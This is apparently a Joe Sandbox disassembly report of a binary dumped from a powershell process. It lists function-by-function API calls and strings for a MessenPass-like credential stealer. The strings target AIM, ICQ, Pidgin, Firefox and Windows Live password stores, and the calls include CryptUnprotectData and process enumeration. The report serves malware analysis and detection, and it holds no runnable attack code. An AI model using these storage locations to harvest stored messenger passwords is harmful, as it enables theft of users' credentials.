Part of subcall function 004067EC: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,0040A46C,?,<item>), ref: 00406806

memset.MSVCRT ref: 00403F2E
memset.MSVCRT ref: 00403F42
memset.MSVCRT ref: 00403F56
sprintf.MSVCRT ref: 00403F77
_mbscpy.MSVCRT ref: 00403F93
sprintf.MSVCRT ref: 00403FCA
sprintf.MSVCRT ref: 00403FFB

Strings

<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>, xrefs: 00403FF5
<meta http-equiv='content-type' content='text/html;charset=%s'>, xrefs: 00403F71
<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>, xrefs: 00403FA5
<table dir="rtl"><tr><td>, xrefs: 00403F8D
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">, xrefs: 00403F06
MessenPass, xrefs: 00403FE1

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memsetsprintf$FileWrite_mbscpystrlen
String ID: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">$<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>$<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>$<meta http-equiv='content-type' content='text/html;charset=%s'>$<table dir="rtl"><tr><td>$MessenPass
API String ID: 113626815-2158351146
Opcode ID: c760e4dabb0e80b2edcbd537a5374e1093b1ba24307009f5b58eb46458df0706
Instruction ID: 526b9c6c735ab5766b9493b9c4eecad717bc7371a22eeca07e3dbb649928e63f
Opcode Fuzzy Hash: c760e4dabb0e80b2edcbd537a5374e1093b1ba24307009f5b58eb46458df0706
Instruction Fuzzy Hash: 6E3187B2900218BADB51DB95DC42EDE7BACAF54304F0440A7F50CB7141DA799FC88B69

Function 004062DB Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 168stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004067BA: CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,00404233,?), ref: 004067CC

GetFileSize.KERNEL32(00000000,00000000), ref: 00406306
??2@YAPAXI@Z.MSVCRT ref: 0040631A

Part of subcall function 00406ED6: ReadFile.KERNELBASE(?,?,?,00000000,00000000,00000001,?,00404269,00000000,00000000,00000000), ref: 00406EED

memset.MSVCRT ref: 00406349
memset.MSVCRT ref: 00406368
memset.MSVCRT ref: 0040637A
strcmp.MSVCRT ref: 004063B9
_mbscpy.MSVCRT ref: 0040644F
_mbscpy.MSVCRT ref: 0040646B
strcmp.MSVCRT ref: 004064B3
??3@YAXPAX@Z.MSVCRT ref: 004064E5
CloseHandle.KERNEL32(?), ref: 004064EE

Strings

---, xrefs: 004064AD

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Filememset$_mbscpystrcmp$??2@??3@CloseCreateHandleReadSize
String ID: ---
API String ID: 3240106862-2854292027
Opcode ID: 99f8cf32e1f3e44123f9acb0b31c0e69de81d1680ab2a584d9d4eb233c64d807
Instruction ID: 14ccde3f01574b0ce453d66bedc824b09869edf18580a01976bfbb4e6d9b59b2
Opcode Fuzzy Hash: 99f8cf32e1f3e44123f9acb0b31c0e69de81d1680ab2a584d9d4eb233c64d807
Instruction Fuzzy Hash: A7517572C0415DAACF20DB949C819DEBBBCAF15314F1140FBE509B3181DA389BD98BAD

Function 0040E725 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 142registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411D68: RegOpenKeyExA.KERNELBASE(80000001,80000001,00000000,00020019,80000001,00402850,80000001,Software\AIM\AIMPRO,?), ref: 00411D7B

memset.MSVCRT ref: 0040E768
memset.MSVCRT ref: 0040E77C
memset.MSVCRT ref: 0040E790
memset.MSVCRT ref: 0040E7A8

Part of subcall function 00411DEE: RegEnumKeyExA.ADVAPI32(?,000000FF,000000FF,?,00000000,00000000,00000000,000000FF,000000FF), ref: 00411E11

sprintf.MSVCRT ref: 0040E7D8
strlen.MSVCRT ref: 0040E806
_mbscpy.MSVCRT ref: 0040E888
_mbscpy.MSVCRT ref: 0040E89B
RegCloseKey.ADVAPI32(?), ref: 0040E8ED

Strings

%s\Login, xrefs: 0040E7D2
Password, xrefs: 0040E7DE
Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users, xrefs: 0040E735

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memset$_mbscpy$CloseEnumOpensprintfstrlen
String ID: %s\Login$Password$Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users
API String ID: 1782299107-1248239246
Opcode ID: c4d16bc47cbd25a94772c531631938f0df6b0302f4f9fef13228118c965c7629
Instruction ID: fd41fae155906cc5ed66380c8c1da9a21ab341a1702a4efca81b6986be60196d
Opcode Fuzzy Hash: c4d16bc47cbd25a94772c531631938f0df6b0302f4f9fef13228118c965c7629
Instruction Fuzzy Hash: 4B41C4B2C0011CAEDB21EBA59C41BDEBBBC9F59304F4040EAE549A3101D6399F99CF68

Function 0040E8FD Relevance: 21.1, APIs: 7, Strings: 7, Instructions: 100COMMON

Download Yara Rule

APIs

_strcmpi.MSVCRT ref: 0040E936
_strcmpi.MSVCRT ref: 0040E957

Strings

prpl-oscar, xrefs: 0040E9AE
prpl-irc, xrefs: 0040E9EA
prpl-jabber, xrefs: 0040E972
prpl-yahoo, xrefs: 0040E951
prpl-msn, xrefs: 0040E90F
prpl-gg, xrefs: 0040E9CC
prpl-novell, xrefs: 0040E990

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: _strcmpi
String ID: prpl-gg$prpl-irc$prpl-jabber$prpl-msn$prpl-novell$prpl-oscar$prpl-yahoo
API String ID: 1439213657-1061492575
Opcode ID: d08d5dad979f9fb4092b5930b19311ec033bd7c838c8b2128e13e64409b95641
Instruction ID: 427b895755571877c56e738dc42ee4b060dd70cd0f3c6fd0f8b1603a1220432f
Opcode Fuzzy Hash: d08d5dad979f9fb4092b5930b19311ec033bd7c838c8b2128e13e64409b95641
Instruction Fuzzy Hash: 5031D6B124C3455ED730EE22954A7EB77D4AB90719F20082FF488A22C1EB7C59554B9F

Function 00408EAA Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 86windowCOMMON

Download Yara Rule

APIs

sprintf.MSVCRT ref: 00408ECB
LoadMenuA.USER32(?,?), ref: 00408ED9

Part of subcall function 00408D47: GetMenuItemCount.USER32(?), ref: 00408D5C
Part of subcall function 00408D47: memset.MSVCRT ref: 00408D7D
Part of subcall function 00408D47: GetMenuItemInfoA.USER32 ref: 00408DB8
Part of subcall function 00408D47: strchr.MSVCRT ref: 00408DCF

DestroyMenu.USER32(00000000), ref: 00408EF7
sprintf.MSVCRT ref: 00408F3B
CreateDialogParamA.USER32(?,00000000,00000000,00408EA5,00000000), ref: 00408F50
memset.MSVCRT ref: 00408F6C
GetWindowTextA.USER32(00000000,?,00001000), ref: 00408F7D
EnumChildWindows.USER32(00000000,Function_00008E37,00000000), ref: 00408FA5
DestroyWindow.USER32(00000000), ref: 00408FAC

Strings

caption, xrefs: 00408F92
dialog_%d, xrefs: 00408F31
menu_%d, xrefs: 00408EC1

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Menu$DestroyItemWindowmemsetsprintf$ChildCountCreateDialogEnumInfoLoadParamTextWindowsstrchr
String ID: caption$dialog_%d$menu_%d
API String ID: 3259144588-3822380221
Opcode ID: 79a18ef8771b5b5c838dbf36fccf1d46debdbf94abfec0b08ecdefeebec5252c
Instruction ID: 6ff3f41c44f65ef1366d905bf4693a1cca8442fec54ce1cacb3646534aec100a
Opcode Fuzzy Hash: 79a18ef8771b5b5c838dbf36fccf1d46debdbf94abfec0b08ecdefeebec5252c
Instruction Fuzzy Hash: 3B210F72500248FFDB12AF60DD45EEB3B69EB84709F14407EFA85A2190DA7949808B6D

Function 00409068 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 72COMMON

Download Yara Rule

APIs

_mbscpy.MSVCRT ref: 00409080
_mbscpy.MSVCRT ref: 00409090

Part of subcall function 00408CA1: memset.MSVCRT ref: 00408CC6
Part of subcall function 00408CA1: GetPrivateProfileStringA.KERNEL32(0041E308,?,00417C88,?,00001000,0041E200), ref: 00408CEA
Part of subcall function 00408CA1: WritePrivateProfileStringA.KERNEL32(0041E308,?,?,0041E200), ref: 00408D01

EnumResourceNamesA.KERNEL32(?,00000004,Function_00008EAA,00000000), ref: 004090D1
EnumResourceNamesA.KERNEL32(?,00000005,Function_00008EAA,00000000), ref: 004090DB
_mbscpy.MSVCRT ref: 004090E3
memset.MSVCRT ref: 004090FF
LoadStringA.USER32(?,00000000,?,00001000), ref: 00409113

Part of subcall function 00408D0F: _itoa.MSVCRT ref: 00408D30

Strings

Version, xrefs: 004090B1
TranslatorName, xrefs: 0040909B
strings, xrefs: 004090DD
general, xrefs: 00409085
TranslatorURL, xrefs: 004090A6

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: String_mbscpy$EnumNamesPrivateProfileResourcememset$LoadWrite_itoa
String ID: TranslatorName$TranslatorURL$Version$general$strings
API String ID: 1035899707-2179912348
Opcode ID: 0e67f2f42cdfcc6d6620761b8a7d89372e721f023a66968946340eb0cc98dc02
Instruction ID: 8f59c47c41e75b0ef1e028ad246d3c9450943cc5e9d1e56adfa21ee2aa94ac58
Opcode Fuzzy Hash: 0e67f2f42cdfcc6d6620761b8a7d89372e721f023a66968946340eb0cc98dc02
Instruction Fuzzy Hash: 4211E93164025879E7212717EC4AFCB3E6C9F85B59F14407FBA49BA0C1CABD99C086BC

Function 0041102B Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0041115C,00404495,00000000,00000000,00000000), ref: 0041103A
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 00411053
GetProcAddress.KERNEL32(00000000,Module32First), ref: 00411064
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 00411075
GetProcAddress.KERNEL32(00000000,Process32First), ref: 00411086
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 00411097

Strings

CreateToolhelp32Snapshot, xrefs: 0041104D
kernel32.dll, xrefs: 00411035
Module32First, xrefs: 0041105E
Module32Next, xrefs: 0041106F
Process32Next, xrefs: 00411091
Process32First, xrefs: 00411080

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Module32First$Module32Next$Process32First$Process32Next$kernel32.dll
API String ID: 667068680-3953557276
Opcode ID: 2211e89b0737fecda3037a560225c9ed33993fa6787b657681e5e05db23e2a88
Instruction ID: 36442a69f5807846e20e8f789375593bd69b00a93b3bf86530e8c97bdb066b37
Opcode Fuzzy Hash: 2211e89b0737fecda3037a560225c9ed33993fa6787b657681e5e05db23e2a88
Instruction Fuzzy Hash: 46F01D39E00362DD97209B26BD40BE73EE5578DB80715803BE908D2264DBB894C38FAD

Function 004100A4 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 117registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(004104FD,Creds,00000000,00020019,004104FD,00000040,0041B008,?,?,004104FD,?,?,?,?), ref: 004100C8
memset.MSVCRT ref: 004100EA
RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 00410117
RegQueryValueExA.ADVAPI32(?,ps:password,00000000,?), ref: 00410144
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,000000FF,00000000,00000000,?,?,?), ref: 004101B2
LocalFree.KERNEL32(?), ref: 004101C5
RegCloseKey.ADVAPI32(?), ref: 004101D0
RegEnumKeyA.ADVAPI32(?,00000000,?,000000FF), ref: 004101E7
RegCloseKey.ADVAPI32(?), ref: 004101F8

Strings

ps:password, xrefs: 00410135
Creds, xrefs: 004100C0

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: CloseOpen$ByteCharEnumFreeLocalMultiQueryValueWidememset
String ID: Creds$ps:password
API String ID: 551151806-1872227768
Opcode ID: 20f5c7480319690d4c614e4d7b7dd4f29f763a09612276579ba8a91edcf23ce4
Instruction ID: f68ec8314172e0547355e42bda77cc46fbcb66bc12c1f5db7d7ae7cb92940bd3
Opcode Fuzzy Hash: 20f5c7480319690d4c614e4d7b7dd4f29f763a09612276579ba8a91edcf23ce4
Instruction Fuzzy Hash: A141F5B2901119EFDB11DF95DC84EEFBBBCEF0C754F0040A6F905E2150EA359A949BA4

Function 00405C4E Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 115libraryloaderCOMMON

Download Yara Rule

APIs

SetRect.USER32(?,00000001,00000001,00000001,00000001), ref: 00405C6D
MapDialogRect.USER32(?,?), ref: 00405C7D
memset.MSVCRT ref: 00405D4B
sprintf.MSVCRT ref: 00405D6E
SetWindowTextA.USER32(?,?), ref: 00405D83
LoadLibraryA.KERNEL32(shlwapi.dll,000003ED), ref: 00405D90
GetProcAddress.KERNEL32(00000000,SHAutoComplete), ref: 00405D9E
FreeLibrary.KERNEL32(00000000), ref: 00405DB1

Strings

shlwapi.dll, xrefs: 00405D8B
%s:, xrefs: 00405D68
SHAutoComplete, xrefs: 00405D98

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: LibraryRect$AddressDialogFreeLoadProcTextWindowmemsetsprintf
String ID: %s:$SHAutoComplete$shlwapi.dll
API String ID: 2601263068-2802052640
Opcode ID: ab2cf4164b993b72bb3261ad71969f56e00e3f563b2705c4529dda320590d4ba
Instruction ID: b550a958d3f196041ff417ee8ca2f57d98087dd1caa8e181cbf0d69f42a088e7
Opcode Fuzzy Hash: ab2cf4164b993b72bb3261ad71969f56e00e3f563b2705c4529dda320590d4ba
Instruction Fuzzy Hash: D0410B71A00209EFDB11DF94DC496EEBBB8EF48309F10846AE905B7251D7789A858F54

Function 004103F1 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 99registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\IdentityCRL,00000000,00020019,?,?,75B4EC10,00000000,?,0040DCC1,?), ref: 0041041E
RegOpenKeyExA.ADVAPI32(?,Dynamic Salt,00000000,00020019,?,?,75B4EC10,00000000,?,0040DCC1,?), ref: 00410436
RegQueryValueExA.ADVAPI32(?,Value,00000000,?,?,?,?,75B4EC10,00000000,?,0040DCC1), ref: 0041045F
RegCloseKey.ADVAPI32(?,?,75B4EC10,00000000,?,0040DCC1), ref: 00410509

Part of subcall function 00404C9D: LoadLibraryA.KERNELBASE(crypt32.dll,00000000,00404771,?,?), ref: 00404CAA
Part of subcall function 00404C9D: GetProcAddress.KERNEL32(00000000,CryptUnprotectData), ref: 00404CBC

memcpy.MSVCRT ref: 004104C8
memcpy.MSVCRT ref: 004104DD

Part of subcall function 004100A4: RegOpenKeyExA.ADVAPI32(004104FD,Creds,00000000,00020019,004104FD,00000040,0041B008,?,?,004104FD,?,?,?,?), ref: 004100C8
Part of subcall function 004100A4: memset.MSVCRT ref: 004100EA
Part of subcall function 004100A4: RegEnumKeyA.ADVAPI32(?,00000000,?,000000FF), ref: 004101E7
Part of subcall function 004100A4: RegCloseKey.ADVAPI32(?), ref: 004101F8

LocalFree.KERNEL32(0040DCC1,75B4EC10,?,?,?,75B4EC10,00000000), ref: 00410500
RegCloseKey.ADVAPI32(?,?,75B4EC10,00000000,?,0040DCC1,?), ref: 00410512

Strings

Value, xrefs: 00410450
Software\Microsoft\IdentityCRL, xrefs: 00410414
Dynamic Salt, xrefs: 0041042E

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: CloseOpen$memcpy$AddressEnumFreeLibraryLoadLocalProcQueryValuememset
String ID: Dynamic Salt$Software\Microsoft\IdentityCRL$Value
API String ID: 2768085393-888555734
Opcode ID: d648e9b0c95eff2677d72af7b673b930fecaf3740d0545a91529973bbe74cb9a
Instruction ID: a3322e4f6880ec2e25c1dd16e8e651f617ea5ab7975a499ff40f994b3e8bdadf
Opcode Fuzzy Hash: d648e9b0c95eff2677d72af7b673b930fecaf3740d0545a91529973bbe74cb9a
Instruction Fuzzy Hash: B631E7B690011DABDB119B95EC45EEFBBBDEF48348F004066FA05F2111E7749A848BA8

Function 00411BA1 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 63librarystringloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000000,00000000,00000000,?,?,?,?,?,?,00404A50,?), ref: 00411BC1
GetProcAddress.KERNEL32(00000000,GetProcAddress), ref: 00411BD3
GetModuleHandleA.KERNEL32(ntdll.dll,?,?,?,?,?,?,00404A50,?), ref: 00411BE9
GetProcAddress.KERNEL32(00000000,LdrGetProcedureAddress), ref: 00411BF1
strlen.MSVCRT ref: 00411C15
strlen.MSVCRT ref: 00411C22

Strings

ntdll.dll, xrefs: 00411BE4
kernel32.dll, xrefs: 00411BBC
LdrGetProcedureAddress, xrefs: 00411BEB
GetProcAddress, xrefs: 00411BC9, 00411BCE
PJ@, xrefs: 00411BA4, 00411BD5, 00411C29

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: AddressHandleModuleProcstrlen
String ID: GetProcAddress$LdrGetProcedureAddress$PJ@$kernel32.dll$ntdll.dll
API String ID: 1027343248-251837621
Opcode ID: 40cae4cbe57c70c2a3c50298ef219b0ade5f84c156f45a623d49dacd8ce400e8
Instruction ID: 714763e50c761412b950203b9ac78bff84e38b84e40515d0a0e54eee0800bd5e
Opcode Fuzzy Hash: 40cae4cbe57c70c2a3c50298ef219b0ade5f84c156f45a623d49dacd8ce400e8
Instruction Fuzzy Hash: D2113072D0021CBBCB11EFE5DC45ADEBBB9EF48310F114467E500B7250E7B99A408B94

Function 004121C1 Relevance: 19.3, APIs: 1, Strings: 10, Instructions: 50COMMON

Download Yara Rule

APIs

_mbscpy.MSVCRT ref: 00412234

Strings

Programs, xrefs: 004121FA
AppData, xrefs: 00412219
Favorites, xrefs: 004121F3
Common Startup, xrefs: 00412227
Start Menu, xrefs: 004121E5
Common Start Menu, xrefs: 00412201
Common Programs, xrefs: 0041222E
Desktop, xrefs: 004121DE
Common Desktop, xrefs: 00412220
Startup, xrefs: 004121EC

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: _mbscpy
String ID: AppData$Common Desktop$Common Programs$Common Start Menu$Common Startup$Desktop$Favorites$Programs$Start Menu$Startup
API String ID: 714388716-318151290
Opcode ID: c17e53f9d18fe5fb2fd5576a7b5c65f59802a4f70eda24efbc6384e9d0c546b8
Instruction ID: ab6a2e7572a39428c533488b1ae62aae3229acca50d317451570c8424bb0716c
Opcode Fuzzy Hash: c17e53f9d18fe5fb2fd5576a7b5c65f59802a4f70eda24efbc6384e9d0c546b8
Instruction Fuzzy Hash: 52F0F931A986077039690628AF1EAFF0101A429B4577445D7A402E07D1C9FD8FF2A05F

Function 0040E293 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 167fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004067BA: CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,00404233,?), ref: 004067CC

GetFileSize.KERNEL32(00000000,00000000), ref: 0040E2B8
??2@YAPAXI@Z.MSVCRT ref: 0040E2D0
memset.MSVCRT ref: 0040E2F2
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 0040E306
memcpy.MSVCRT ref: 0040E3AC
memcpy.MSVCRT ref: 0040E3CB
??3@YAXPAX@Z.MSVCRT ref: 0040E49D
CloseHandle.KERNEL32(?), ref: 0040E4A6

Strings

user_pref(", xrefs: 0040E314
.aim.session.password, xrefs: 0040E3D0

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: File$memcpy$??2@??3@CloseCreateHandleReadSizememset
String ID: .aim.session.password$user_pref("
API String ID: 1009687194-2166142864
Opcode ID: 3301c009570dabdb8578617bf93d6c7150b1ff8625c9e7c5bf5b825b8a4131d0
Instruction ID: 9dacb5a7e7bcd3ea0486815f95980eeefdadcc55de365010cf028b87c9f312c9
Opcode Fuzzy Hash: 3301c009570dabdb8578617bf93d6c7150b1ff8625c9e7c5bf5b825b8a4131d0
Instruction Fuzzy Hash: 2451167280410D9ECB10DF65DC85AEE7BB9AF44314F1404BFE445B7281EA385F98CB99

Function 0040D794 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 122registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00411D68: RegOpenKeyExA.KERNELBASE(80000001,80000001,00000000,00020019,80000001,00402850,80000001,Software\AIM\AIMPRO,?), ref: 00411D7B

RegQueryValueExA.ADVAPI32(?,MainLocation,00000000,?,?,?), ref: 0040D82B
atoi.MSVCRT ref: 0040D840
memset.MSVCRT ref: 0040D869
_mbscpy.MSVCRT ref: 0040D8B3
_mbscpy.MSVCRT ref: 0040D8C6
RegCloseKey.ADVAPI32(?), ref: 0040D8FC
memset.MSVCRT ref: 0040D7DC

Part of subcall function 00411DEE: RegEnumKeyExA.ADVAPI32(?,000000FF,000000FF,?,00000000,00000000,00000000,000000FF,000000FF), ref: 00411E11

RegCloseKey.ADVAPI32(00000008), ref: 0040D925

Strings

MainLocation, xrefs: 0040D81C
Software\Mirabilis\ICQ\NewOwners, xrefs: 0040D7A4

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Close_mbscpymemset$EnumOpenQueryValueatoi
String ID: MainLocation$Software\Mirabilis\ICQ\NewOwners
API String ID: 2897902629-2277304809
Opcode ID: 849ad6949330c7bb5644b37c08c0bd6d76671fce4c5344370ab450b053ac0cd8
Instruction ID: e76a91e7ade9601acab1c04a0be11c20e8a13b6e7dda126cd817bcb1d0c6ed36
Opcode Fuzzy Hash: 849ad6949330c7bb5644b37c08c0bd6d76671fce4c5344370ab450b053ac0cd8
Instruction Fuzzy Hash: E841EFB2D0111DAEDF11EF95DC85ADEBBBCAF09304F4040AAE909E2151E7349B58CF64

Function 00411172 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 81stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 0041118A
_mbscpy.MSVCRT ref: 00411198

Part of subcall function 00407139: strlen.MSVCRT ref: 0040714B
Part of subcall function 00407139: strlen.MSVCRT ref: 00407153
Part of subcall function 00407139: _memicmp.MSVCRT ref: 00407171

_mbscpy.MSVCRT ref: 004111E8
_mbscat.MSVCRT ref: 004111F3
memset.MSVCRT ref: 004111CF

Part of subcall function 00406BC3: GetWindowsDirectoryA.KERNEL32(0041E458,00000104,?,00411228,00000000,?,00000000,00000104,00000000), ref: 00406BD8
Part of subcall function 00406BC3: _mbscpy.MSVCRT ref: 00406BE8

memset.MSVCRT ref: 00411217
memcpy.MSVCRT ref: 00411232
_mbscat.MSVCRT ref: 0041123D

Strings

\systemroot, xrefs: 004111A5

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: _mbscpy$_mbscatmemsetstrlen$DirectoryWindows_memicmpmemcpystrchr
String ID: \systemroot
API String ID: 912701516-1821301763
Opcode ID: 218f5e9704a1aeb6310374669f71ec2bdb1fcc002080e651c6f93d871d085d50
Instruction ID: 1deae77e6ad71c1ffcfab25ec4cb50ddae9004d97205ddf1ac571f940d5d67aa
Opcode Fuzzy Hash: 218f5e9704a1aeb6310374669f71ec2bdb1fcc002080e651c6f93d871d085d50
Instruction Fuzzy Hash: F921D77150820479EB60A7619C83FEBB7EC4F15709F10409FF789E10C1EAACABC5466A

Function 004088D4 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowstringCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 004088EA
memset.MSVCRT ref: 0040890E
GetMenuItemInfoA.USER32(?), ref: 00408944
memset.MSVCRT ref: 00408971
strchr.MSVCRT ref: 0040897D
_mbscat.MSVCRT ref: 004089D8
ModifyMenuA.USER32(?,?,00000400,?,?), ref: 004089F4

Strings

0, xrefs: 00408929
6, xrefs: 00408934

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Menu$Itemmemset$CountInfoModify_mbscatstrchr
String ID: 0$6
API String ID: 3540791495-3849865405
Opcode ID: 279e0e3116dd7a36083eff5afaa6bfe1abce752894615ec7df7e32fa7ef46b8e
Instruction ID: a8fe6fb1212bd118e16e367106d6d34f7a286138b6ca25e595fdc587e8241262
Opcode Fuzzy Hash: 279e0e3116dd7a36083eff5afaa6bfe1abce752894615ec7df7e32fa7ef46b8e
Instruction Fuzzy Hash: 0C31BFB2408380AFC7209F55D941AABBBE8EB84314F04483FF588A2251D778D984CF5A

Function 0040C1E0 Relevance: 15.1, APIs: 10, Instructions: 133windowCOMMON

Download Yara Rule

APIs

SetBkMode.GDI32(?,00000001), ref: 0040C259
SetTextColor.GDI32(?,00FF0000), ref: 0040C267
SelectObject.GDI32(?,?), ref: 0040C27C
DrawTextExA.USER32(?,?,000000FF,?,00000004,?), ref: 0040C2B1
SelectObject.GDI32(00000014,?), ref: 0040C2BD

Part of subcall function 0040C01D: GetCursorPos.USER32(?), ref: 0040C02A
Part of subcall function 0040C01D: GetSubMenu.USER32(?,00000000), ref: 0040C038
Part of subcall function 0040C01D: TrackPopupMenu.USER32(00000000,00000002,?,?,00000000,?,00000000), ref: 0040C066

LoadCursorA.USER32(00000067), ref: 0040C2DE
SetCursor.USER32(00000000), ref: 0040C2E5
SetFocus.USER32(?), ref: 0040C33A
SetFocus.USER32(?), ref: 0040C394

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Cursor$FocusMenuObjectSelectText$ColorDrawLoadModePopupTrack
String ID:
API String ID: 4166086388-0
Opcode ID: 0f428dd74f7ae692e61f7adedafcb516b73031be7699d21d2f2f5f012eb25ada
Instruction ID: ca719c1047b4580995a570777fd11ce3246ad295cd7033b7258bae339062b572
Opcode Fuzzy Hash: 0f428dd74f7ae692e61f7adedafcb516b73031be7699d21d2f2f5f012eb25ada
Instruction Fuzzy Hash: B341A131110604EBCB119F64C8C9BEF7BA5FB44710F11C23AF916A62E1C739A9519B9E

Function 004037A2 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 193stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 004037AB
abs.MSVCRT ref: 00403890
abs.MSVCRT ref: 004038C4
log.MSVCRT ref: 0040395E
log.MSVCRT ref: 0040396F
??3@YAXPAX@Z.MSVCRT ref: 0040398A
??3@YAXPAX@Z.MSVCRT ref: 0040399C

Strings

, xrefs: 004037D1

Memory Dump Source

